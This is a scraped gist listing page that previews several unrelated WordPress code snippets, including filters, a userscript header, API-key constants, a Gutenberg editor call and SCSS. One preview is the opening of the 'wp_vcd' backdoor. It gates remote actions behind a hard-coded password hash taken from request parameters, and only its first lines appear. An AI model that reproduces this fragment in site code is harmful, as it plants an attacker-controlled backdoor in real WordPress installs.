We have been moved for better. Look Here for an Updated Version. People are also contributing there for making it more beautiful. See you there!!!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function wpuf_default_featured_image() { | |
| return "https://mahbub.me/wp-content/uploads/2017/01/i.png" | |
| } | |
| add_filter( "wpuf_no_image", "wpuf_default_featured_image" ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) | |
| { | |
| $div_code_name="wp_vcd"; | |
| switch ($_REQUEST['action']) | |
| { | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_action( 'wp_enqueue_scripts', function() { | |
| if ( ! dokan_is_store_page() ) { | |
| return; | |
| } | |
| wp_enqueue_style('dokan-magnific-popup'); | |
| wp_enqueue_script('dokan-popup'); | |
| } ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // ==UserScript== | |
| // @name Dupe review helper | |
| // @namespace http://tampermonkey.net/ | |
| // @version 0.1 | |
| // @description Watches out for reviews made by the same IP subnet | |
| // @author anevins12 | |
| // @match https://wordpress.org/support/topic/* | |
| // @grant none | |
| // ==/UserScript== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Set constants for Google Maps JS API key--used for ACF's backend map--and Google Maps | |
| * Embed API Key, used for generating maps on the site front end. | |
| * | |
| * @link https://developers.google.com/maps/documentation/javascript/get-api-key | |
| * @link https://developers.google.com/maps/documentation/embed/get-api-key | |
| */ | |
| const GOOGLE_MAPS_JS_API_KEY = 'MAPS-JS-API-KEY'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Eliminate All Blocks from Editor | |
| wp.data.dispatch( 'core/block-editor' ).resetBlocks([]); | |
| How to Use WordPress Block Builder to Create Custom Page Layouts Easily | |
| https://www.webfactoryltd.com/blog/how-to-use-wordpress-block-builder-to-create-custom-page-layouts-easily/ | |
| How to Extend or Create Variations for WordPress Blocks | |
| https://getbutterfly.com/how-to-extend-or-create-variations-for-wordpress-blocks/ | |
| How to disable and lock Gutenberg blocks |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if (!defined('ABSPATH')) die('-1'); | |
| // Class started | |
| class stockVCExtendAddonClass { | |
| function __construct() { | |
| // We safely integrate with VC with this hook | |
| add_action( 'init', array( $this, 'stockIntegrateWithVC' ) ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Plugin Name: Photon CDN | |
| * Version: 1.1 | |
| * Description: Use the WP.com Photon image CDN without installing JetPack | |
| * Author: Zachary Scott | |
| */ | |
| namespace zacscott; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Header search | |
| .page-header | |
| { | |
| .wedocs-search-form | |
| { | |
| position: relative; | |
| input | |
| { | |
| @include placeholder(#999); |